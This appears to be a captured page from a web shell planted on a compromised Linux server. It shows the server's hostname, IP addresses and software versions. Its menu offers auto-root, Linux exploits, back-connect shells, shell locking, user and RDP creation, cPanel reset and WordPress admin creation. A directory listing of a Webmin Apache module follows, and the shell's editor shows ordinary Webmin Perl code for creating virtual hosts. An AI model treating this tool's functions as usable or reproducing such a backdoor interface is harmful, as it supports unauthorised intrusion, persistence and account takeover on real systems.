Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
apache /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
4.06
KB
-rw-r--r--
acl_security.pl
5.44
KB
-rwxr-xr-x
allmanual_form.cgi
1.26
KB
-rwxr-xr-x
allmanual_save.cgi
915
B
-rwxr-xr-x
apache-lib.pl
57.96
KB
-rwxr-xr-x
auth-lib.pl
3.09
KB
-rwxr-xr-x
autoindex.pl
9.54
KB
-rwxr-xr-x
backup_config.pl
1.4
KB
-rwxr-xr-x
browsermatch.pl
2.15
KB
-rwxr-xr-x
cache.pl
3
KB
-rwxr-xr-x
cgi_args.pl
1.02
KB
-rwxr-xr-x
change_dir.cgi
1.36
KB
-rwxr-xr-x
change_files.cgi
1.13
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
419
B
-rw-r--r--
config-Amazon-Linux-2-ALL
419
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
419
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
419
B
-rw-r--r--
config-Fedora-Linux-20.00-ALL
419
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
419
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
419
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
419
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
419
B
-rw-r--r--
config-aix
300
B
-rw-r--r--
config-cobalt-linux
311
B
-rw-r--r--
config-coherent-linux
387
B
-rw-r--r--
config-corel-linux
412
B
-rw-r--r--
config-debian-linux
412
B
-rw-r--r--
config-debian-linux-10.0-ALL
552
B
-rw-r--r--
config-debian-linux-3.1-6.9
607
B
-rw-r--r--
config-debian-linux-7.0-9.0
637
B
-rw-r--r--
config-freebsd
457
B
-rw-r--r--
config-freebsd-8.0-ALL
465
B
-rw-r--r--
config-generic-linux
321
B
-rw-r--r--
config-gentoo-linux
447
B
-rw-r--r--
config-hpux
321
B
-rw-r--r--
config-irix
321
B
-rw-r--r--
config-irix-6.5
359
B
-rw-r--r--
config-lfs-linux
503
B
-rw-r--r--
config-macos
533
B
-rw-r--r--
config-macos-1.3-8.1
382
B
-rw-r--r--
config-macos-9.2-ALL
347
B
-rw-r--r--
config-mandrake-linux
401
B
-rw-r--r--
config-msc-linux
301
B
-rw-r--r--
config-netbsd
421
B
-rw-r--r--
config-open-linux-2.3
377
B
-rw-r--r--
config-open-linux-2.3e
363
B
-rw-r--r--
config-open-linux-2.4
363
B
-rw-r--r--
config-open-linux-2.5
460
B
-rw-r--r--
config-open-linux-3.1e
471
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
539
B
-rw-r--r--
config-openbsd
383
B
-rw-r--r--
config-openmamba-linux
417
B
-rw-r--r--
config-openserver
461
B
-rw-r--r--
config-osf1
321
B
-rw-r--r--
config-pardus-linux
397
B
-rw-r--r--
config-redhat-linux
311
B
-rw-r--r--
config-redhat-linux-12.1-12.9
388
B
-rw-r--r--
config-redhat-linux-13.0-23.0
373
B
-rw-r--r--
config-redhat-linux-24.0-ALL
419
B
-rw-r--r--
config-redhat-linux-7.0-7.4
431
B
-rw-r--r--
config-redhat-linux-8.0
387
B
-rw-r--r--
config-redhat-linux-8.1
473
B
-rw-r--r--
config-redhat-linux-9.0-12.0
387
B
-rw-r--r--
config-slackware-linux
212
B
-rw-r--r--
config-slackware-linux-12.0-AL...
422
B
-rw-r--r--
config-slackware-linux-7.0-7.1
349
B
-rw-r--r--
config-slackware-linux-8.0-ALL
388
B
-rw-r--r--
config-sol-linux
333
B
-rw-r--r--
config-solaris
321
B
-rw-r--r--
config-solaris-10
325
B
-rw-r--r--
config-solaris-11-ALL
475
B
-rw-r--r--
config-solaris-9
325
B
-rw-r--r--
config-suse-linux
414
B
-rw-r--r--
config-suse-linux-7.1-8.0
412
B
-rw-r--r--
config-suse-linux-8.2
439
B
-rw-r--r--
config-suse-linux-9.0
471
B
-rw-r--r--
config-suse-linux-9.1-ALL
547
B
-rw-r--r--
config-syno-linux
321
B
-rw-r--r--
config-trustix-linux
372
B
-rw-r--r--
config-turbo-linux
311
B
-rw-r--r--
config-united-linux
403
B
-rw-r--r--
config-unixware
461
B
-rw-r--r--
config-windows
449
B
-rw-r--r--
config.info
2.03
KB
-rw-r--r--
config.info.bg
3.31
KB
-rw-r--r--
config.info.ca
2.22
KB
-rw-r--r--
config.info.cs
2.03
KB
-rw-r--r--
config.info.da
479
B
-rw-r--r--
config.info.de
2.24
KB
-rw-r--r--
config.info.es
1.76
KB
-rw-r--r--
config.info.fa
2.36
KB
-rw-r--r--
config.info.fr
2.46
KB
-rw-r--r--
config.info.hr
0
B
-rw-r--r--
config.info.hu
775
B
-rw-r--r--
config.info.ja
2.16
KB
-rw-r--r--
config.info.ms
2.15
KB
-rw-r--r--
config.info.nl
1.98
KB
-rw-r--r--
config.info.no
2.05
KB
-rw-r--r--
config.info.pl
2.12
KB
-rw-r--r--
config.info.pt_BR
2.15
KB
-rw-r--r--
config.info.ru
1.56
KB
-rw-r--r--
config.info.ru.UTF-8
1.56
KB
-rw-r--r--
config.info.sv
650
B
-rw-r--r--
config.info.tr
1.81
KB
-rw-r--r--
config.info.uk
1.58
KB
-rw-r--r--
config.info.zh
568
B
-rw-r--r--
config.info.zh_TW
1.23
KB
-rw-r--r--
config_solaris.txt.1.25
81
B
-rw-r--r--
core.pl
40.41
KB
-rwxr-xr-x
create_dir.cgi
1.24
KB
-rwxr-xr-x
create_files.cgi
1014
B
-rwxr-xr-x
create_htaccess.cgi
1.49
KB
-rwxr-xr-x
create_virt.cgi
7.4
KB
-rwxr-xr-x
defaultacl
119
B
-rw-r--r--
delete_htaccess.cgi
552
B
-rwxr-xr-x
delete_vservs.cgi
832
B
-rwxr-xr-x
dir_index.cgi
1.94
KB
-rwxr-xr-x
edit_authgroup.cgi
1.52
KB
-rwxr-xr-x
edit_authuser.cgi
1.75
KB
-rwxr-xr-x
edit_defines.cgi
799
B
-rwxr-xr-x
edit_dir.cgi
1.03
KB
-rwxr-xr-x
edit_files.cgi
1.06
KB
-rwxr-xr-x
edit_global.cgi
1.62
KB
-rwxr-xr-x
edit_gmime_type.cgi
1.01
KB
-rwxr-xr-x
edit_htaccess.cgi
999
B
-rwxr-xr-x
edit_mods.cgi
1.04
KB
-rwxr-xr-x
edit_virt.cgi
1.46
KB
-rwxr-xr-x
feedback_files.pl
125
B
-rwxr-xr-x
files_index.cgi
1.68
KB
-rwxr-xr-x
find_htaccess.cgi
1.78
KB
-rwxr-xr-x
htaccess.cgi
1.28
KB
-rwxr-xr-x
htaccess_index.cgi
2.38
KB
-rwxr-xr-x
index.cgi
15.34
KB
-rwxr-xr-x
install_check.pl
450
B
-rwxr-xr-x
list_authgroups.cgi
1.42
KB
-rwxr-xr-x
list_authusers.cgi
1.88
KB
-rwxr-xr-x
log_parser.pl
3.7
KB
-rwxr-xr-x
manual_form.cgi
3.2
KB
-rwxr-xr-x
manual_save.cgi
2.24
KB
-rwxr-xr-x
mod_access.pl
3.18
KB
-rwxr-xr-x
mod_actions.pl
2.57
KB
-rwxr-xr-x
mod_alias.pl
5.7
KB
-rwxr-xr-x
mod_apachessl.pl
13.47
KB
-rwxr-xr-x
mod_asis.pl
125
B
-rwxr-xr-x
mod_auth.pl
1.88
KB
-rwxr-xr-x
mod_auth_basic.pl
983
B
-rwxr-xr-x
mod_auth_dbm.pl
1.79
KB
-rwxr-xr-x
mod_auth_digest.pl
1.56
KB
-rwxr-xr-x
mod_authn_dbm.pl
1.02
KB
-rwxr-xr-x
mod_authn_file.pl
838
B
-rwxr-xr-x
mod_authz_dbm.pl
1.38
KB
-rwxr-xr-x
mod_authz_groupfile.pl
863
B
-rwxr-xr-x
mod_authz_host.pl
314
B
-rwxr-xr-x
mod_authz_owner.pl
139
B
-rwxr-xr-x
mod_autoindex.pl
2.15
KB
-rwxr-xr-x
mod_bandwidth.pl
3.86
KB
-rwxr-xr-x
mod_browser.pl
274
B
-rwxr-xr-x
mod_cache.pl
2.73
KB
-rwxr-xr-x
mod_cern_meta.pl
1.13
KB
-rwxr-xr-x
mod_cgi.pl
1.26
KB
-rwxr-xr-x
mod_cgid.pl
1.26
KB
-rwxr-xr-x
mod_dav.pl
1.1
KB
-rwxr-xr-x
mod_dir.pl
1.06
KB
-rwxr-xr-x
mod_disk_cache.pl
1.03
KB
-rwxr-xr-x
mod_env.pl
2.03
KB
-rwxr-xr-x
mod_expires.pl.broken
3.22
KB
-rw-r--r--
mod_ext_filter.pl
2.63
KB
-rwxr-xr-x
mod_fastcgi.pl
181
B
-rwxr-xr-x
mod_fcgid.pl
169
B
-rwxr-xr-x
mod_http2.pl
107
B
-rwxr-xr-x
mod_imap.pl
2.35
KB
-rwxr-xr-x
mod_include.pl
601
B
-rwxr-xr-x
mod_info.pl
145
B
-rwxr-xr-x
mod_log_agent.pl
1.08
KB
-rwxr-xr-x
mod_log_common.pl
1.14
KB
-rwxr-xr-x
mod_log_config.pl
4.49
KB
-rwxr-xr-x
mod_log_referer.pl
1.59
KB
-rwxr-xr-x
mod_mem_cache.pl
1.1
KB
-rwxr-xr-x
mod_mime.pl
6.16
KB
-rwxr-xr-x
mod_mime_magic.pl
521
B
-rwxr-xr-x
mod_mpm_prefork.pl
820
B
-rwxr-xr-x
mod_negotiation.pl
1.25
KB
-rwxr-xr-x
mod_perl.pl
147
B
-rwxr-xr-x
mod_php.pl
93
B
-rwxr-xr-x
mod_php3.pl
147
B
-rwxr-xr-x
mod_php4.pl
2.89
KB
-rwxr-xr-x
mod_php5.pl
2.82
KB
-rwxr-xr-x
mod_php7.pl
2.82
KB
-rwxr-xr-x
mod_proxy.pl
8.42
KB
-rwxr-xr-x
mod_proxy_balancer.pl
173
B
-rwxr-xr-x
mod_rewrite.pl
121
B
-rwxr-xr-x
mod_ruby.pl
155
B
-rwxr-xr-x
mod_setenvif.pl
3.04
KB
-rwxr-xr-x
mod_speling.pl
565
B
-rwxr-xr-x
mod_ssl.pl
6.22
KB
-rwxr-xr-x
mod_status.pl
542
B
-rwxr-xr-x
mod_suexec.pl
1.24
KB
-rwxr-xr-x
mod_userdir.pl
2.58
KB
-rwxr-xr-x
mod_vhost_alias.pl
2.33
KB
-rwxr-xr-x
module.info
265
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
104
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
156
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
154
B
-rw-r--r--
module.info.bg
35
B
-rw-r--r--
module.info.bg.auto
130
B
-rw-r--r--
module.info.ca
109
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
26
B
-rw-r--r--
module.info.cs.auto
87
B
-rw-r--r--
module.info.da
25
B
-rw-r--r--
module.info.da.auto
85
B
-rw-r--r--
module.info.de
92
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
170
B
-rw-r--r--
module.info.es
28
B
-rw-r--r--
module.info.es.auto
93
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
106
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
171
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
119
B
-rw-r--r--
module.info.fr
27
B
-rw-r--r--
module.info.fr.auto
96
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
162
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
110
B
-rw-r--r--
module.info.hu
95
B
-rw-r--r--
module.info.hu.auto
15
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
118
B
-rw-r--r--
module.info.ja
28
B
-rw-r--r--
module.info.ja.auto
115
B
-rw-r--r--
module.info.ko
26
B
-rw-r--r--
module.info.ko.auto
95
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
137
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
124
B
-rw-r--r--
module.info.ms
108
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
118
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.auto
83
B
-rw-r--r--
module.info.no
25
B
-rw-r--r--
module.info.no.auto
83
B
-rw-r--r--
module.info.pl
96
B
-rw-r--r--
module.info.pl.auto
14
B
-rw-r--r--
module.info.pt
28
B
-rw-r--r--
module.info.pt.auto
84
B
-rw-r--r--
module.info.pt_BR
31
B
-rw-r--r--
module.info.pt_BR.auto
90
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
114
B
-rw-r--r--
module.info.ru
35
B
-rw-r--r--
module.info.ru.auto
111
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
116
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
115
B
-rw-r--r--
module.info.sv
25
B
-rw-r--r--
module.info.sv.auto
84
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
235
B
-rw-r--r--
module.info.tr
28
B
-rw-r--r--
module.info.tr.auto
99
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
150
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
160
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
138
B
-rw-r--r--
module.info.zh
25
B
-rw-r--r--
module.info.zh.auto
76
B
-rw-r--r--
module.info.zh_TW
34
B
-rw-r--r--
module.info.zh_TW.auto
82
B
-rw-r--r--
mpm_netware.pl
1.26
KB
-rwxr-xr-x
mpm_winnt.pl
801
B
-rwxr-xr-x
notes
1.12
KB
-rw-r--r--
perchild.pl
4.05
KB
-rwxr-xr-x
postinstall.pl
92
B
-rwxr-xr-x
prefork.pl
796
B
-rwxr-xr-x
prefs.info
52
B
-rw-r--r--
reconfig.cgi
543
B
-rwxr-xr-x
reconfig_form.cgi
1.55
KB
-rwxr-xr-x
remove_vserv.pl
814
B
-rwxr-xr-x
restart.cgi
1019
B
-rwxr-xr-x
save_authgroup.cgi
1.09
KB
-rwxr-xr-x
save_authuser.cgi
1.17
KB
-rwxr-xr-x
save_defines.cgi
462
B
-rwxr-xr-x
save_dir.cgi
640
B
-rwxr-xr-x
save_files.cgi
745
B
-rwxr-xr-x
save_global.cgi
483
B
-rwxr-xr-x
save_gmime_type.cgi
745
B
-rwxr-xr-x
save_htaccess.cgi
671
B
-rwxr-xr-x
save_mods.cgi
883
B
-rwxr-xr-x
save_sync.cgi
488
B
-rwxr-xr-x
save_virt.cgi
1.05
KB
-rwxr-xr-x
save_vserv.cgi
3.73
KB
-rwxr-xr-x
search_virt.cgi
4.12
KB
-rwxr-xr-x
show.cgi
3.64
KB
-rwxr-xr-x
show_dir.cgi
1.99
KB
-rwxr-xr-x
show_files.cgi
1.99
KB
-rwxr-xr-x
show_htaccess.cgi
2.02
KB
-rwxr-xr-x
show_virt.cgi
2.12
KB
-rwxr-xr-x
start.cgi
309
B
-rwxr-xr-x
stop.cgi
290
B
-rwxr-xr-x
syslog_logs.pl
457
B
-rwxr-xr-x
useradmin_update.pl
957
B
-rwxr-xr-x
virt_index.cgi
4.92
KB
-rwxr-xr-x
worker.pl
1.57
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : create_virt.cgi
#!/usr/bin/perl # create_virt.cgi # Create a new virtual host. require './apache-lib.pl'; &ReadParse(); $access{'create'} || &error($text{'cvirt_ecannot'}); &error_setup($text{'cvirt_err'}); $conf = &get_config(); # get directives from clone if ($in{'clone'} ne '') { $clone = $conf->[$in{'clone'}]; @cmems = grep { $_->{'name'} ne 'ServerName' && $_->{'name'} ne 'Port' && $_->{'name'} ne 'DocumentRoot' && $_->{'name'} ne 'ServerAlias' } @{$clone->{'members'}}; } # Parse and find the specified address to listen on if ($in{'addr_def'} == 1) { if ($httpd_modules{'core'} >= 1.2) { $addr = "_default_"; } else { $addr = "*"; } } elsif ($in{'addr_def'} == 2) { $addr = "*"; } elsif ($in{'addr'} !~ /\S/) { &error($text{'cvirt_eaddr1'}); } else { foreach $a (split(/\s+/, $in{'addr'})) { &to_ipaddress($a) || &to_ip6address($a) || &error(&text('cvirt_eaddr2', $a)); push(@addrs, &check_ip6address($a) ? "[$a]" : $a); } $addr = join(" ", @addrs); } # Parse and find the specified port $defport = &find_directive("Port", $conf) || 80; if ($in{'port_mode'} == 0) { $port = ""; $portnum = $defport; } elsif ($in{'port_mode'} == 1) { $port = ":*"; $portnum = "*"; } elsif ($in{'port'} !~ /^\d+$/) { &error(&text('cvirt_eport', $in{'port'})); } else { $port = ":$in{'port'}"; $portnum = $in{'port'}; } if (!$in{'name_def'}) { @names = split(/\s+/, $in{'name'}); @names || &error(&text('cvirt_ename', $in{'name'})); foreach my $n (@names) { $n =~ /^[a-z0-9\.\_\-]+$/i || &error(&text('vserv_ename', $n)); } } # Check if the virtual server already exists if (!$in{'name_def'}) { $aclname = "$in{'name'}$port"; @virt = &find_directive_struct("VirtualHost", $conf); foreach $v (@virt) { local ($clash) = grep { $_ eq $aclname } &virt_acl_name($v); $clash && &error($text{'cvirt_etaken'}); } } # Check if the root directory is allowed !$in{'root'} || &allowed_auth_file($in{'root'}) || &error(&text('cvirt_eroot3', $in{'root'})); if ($in{'root'} && !-e $in{'root'}) { # create the document root mkdir($in{'root'}, 0755) || &error(&text('cvirt_eroot2', $in{'root'}, $!)); $user = &find_directive("User", $conf); $group = &find_directive("Group", $conf); $user || &error($text{'cvirt_eroot4'}); &set_ownership_permissions($user, $group, undef, $in{'root'}); } # find file to add to if ($in{'fmode'} == 0) { # Use the first file in config (usually httpd.conf) $vconf = &get_virtual_config(); $f = $vconf->[0]->{'file'}; for($j=0; $vconf->[$j]->{'file'} eq $f; $j++) { } $l = $vconf->[$j-1]->{'eline'}+1; } elsif ($in{'fmode'} == 1) { # Use the standard file/directory for virtual hosts local $vfile = &server_root($config{'virt_file'}); if (!-d $vfile) { # Just appending to a file $f = $vfile; } elsif ($in{'name_def'}) { # No server name, so use webmin.UTIME.conf $linkfile = "webmin.".time().".conf"; $f = "$vfile/$linkfile"; } else { # Work out a filename $tmpl = $config{'virt_name'} || '${DOM}.conf'; %hash = ( 'dom' => $in{'name'}, 'ip' => $addr ); $linkfile = &substitute_template($tmpl, \%hash); $f = "$vfile/$linkfile"; } } else { # Use a user-specified file $f = $in{'file'}; } -r $f || open(FILE, ">>$f") || &error(&text('cvirt_efile', &html_escape($f), $!)); close(FILE); &lock_apache_files(); &lock_file($f); &before_changing(); # Check each IP address for a needed Listen and NameVirtualHost directive foreach $a (@addrs) { local $ip = &to_ipaddress($a); if ($in{'listen'} && $ip) { # add Listen if needed local @listen = &find_directive("Listen", $conf); local $lfound; foreach $l (@listen) { if ($portnum eq "*") { # Look for any Listen directive that would match the IP $lfound++ if ($l eq "*" || $l =~ /^\d+$/ || ($l =~ /^(\S+):(\d+)$/ && &to_ipaddress("$1") eq $ip) || &to_ipaddress($l) eq $ip); } else { # Look for a Listen directive that would match # the specified port and IP $lfound++ if (($l eq '*' && $portnum == $defport) || ($l =~ /^\*:(\d+)$/ && $portnum == $1) || ($l =~ /^0\.0\.0\.0:(\d+)$/ && $portnum == $1) || ($l =~ /^\d+$/ && $portnum == $l) || ($l =~ /^(\S+):(\d+)$/ && &to_ipaddress("$1") eq $ip && $2 == $portnum) || (&to_ipaddress($l) eq $ip)); } } if (!$lfound && @listen > 0) { # Apache is listening on some IP addresses, but not the # entered one. local $lip; if ($httpd_modules{'core'} >= 2) { $lip = $in{'port_mode'} == 2 ? "$ip:$in{'port'}" : "$ip:80"; } else { $lip = $in{'port_mode'} == 2 ? "$ip:$in{'port'}" : $ip; } &save_directive("Listen", [ @listen, $lip ], $conf, $conf); } } # add NameVirtualHost if needed if ($in{'nv'} && !$in{'addr_def'} && $ip) { local $found; local @nv = &find_directive("NameVirtualHost", $conf); foreach $nv (@nv) { $found++ if (&to_ipaddress($nv) eq $ip || $nv =~ /^(\S+):(\S+)/ && &to_ipaddress("$1") eq $ip || $nv eq '*' || $nv =~ /^\*:(\d+)$/ && $1 eq $portnum || $nv =~ /^0\.0\.0\.0:(\d+)$/ && $1 eq $portnum); } if (!$found) { &save_directive("NameVirtualHost", [ @nv, $ip ], $conf, $conf); } } } # Create the structure if (@addrs) { $ap = join(" ", map { $_.$port } @addrs); } else { $ap = $addr.$port; } @mems = ( ); $virt = { 'name' => 'VirtualHost', 'value' => $ap, 'file' => $f, 'type' => 1, 'members' => \@mems }; push(@mems, { 'name' => 'DocumentRoot', 'value' => "\"$in{'root'}\"" }) if ($in{'root'}); if (@names) { push(@mems, { 'name' => 'ServerName', 'value' => $names[0] }); shift(@names); foreach $sa (@names) { push(@mems, { 'name' => 'ServerAlias', 'value' => $sa }); } } push(@mems, @cmems); if ($in{'adddir'} && $in{'root'}) { # Add a <Directory> section for the root my @dmems; if ($httpd_modules{'core'} < 2.4) { push(@dmems, { 'name' => 'allow', 'value' => 'from all' }); } push(@dmems, { 'name' => 'Options', 'value' => 'None' }); $dirsect = { 'name' => 'Directory', 'value' => "\"$in{'root'}\"", 'type' => 1, 'members' => \@dmems, }; if ($httpd_modules{'core'} >= 2.4) { # Apache 2.4+ needs a 'Require all granted' line push(@{$dirsect->{'members'}}, { 'name' => 'Require', 'value' => 'all granted' }); } push(@mems, $dirsect); } foreach my $m (@mems) { $m->{'indent'} = 4; } foreach my $m (@{$dirsect->{'members'}}) { $m->{'indent'} = 8; } # Save to the file &save_directive_struct(undef, $virt, $conf, $conf); &flush_file_lines(); &unlock_file($f); &update_last_config_change(); &unlock_apache_files(); # Create a symlink from another dir, if requested (as in Debian) if ($linkfile) { &create_webfile_link($f); } # Make sure it was really added undef(@get_config_cache); $conf = &get_config(); $found = 0; foreach $v (&find_directive_struct("VirtualHost", $conf)) { next if ($v->{'value'} ne $ap); if (@names) { $nsn = &find_directive("ServerName", $v->{'members'}); next if ($nsn ne $names[0]); } $found = 1; } if (!$found) { &rollback_apache_config(); &error(&text('cvirt_emissing', $f, "../config.cgi?$module_name")); } &after_changing(); &format_config_file($f); &webmin_log("virt", "create", ($in{'name_def'} ? $addr : $in{'name'}).$port, \%in); # add to acl if ($access{'virts'} ne '*') { $access{'virts'} .= " $aclname"; &save_module_acl(\%access); } &redirect("");
Close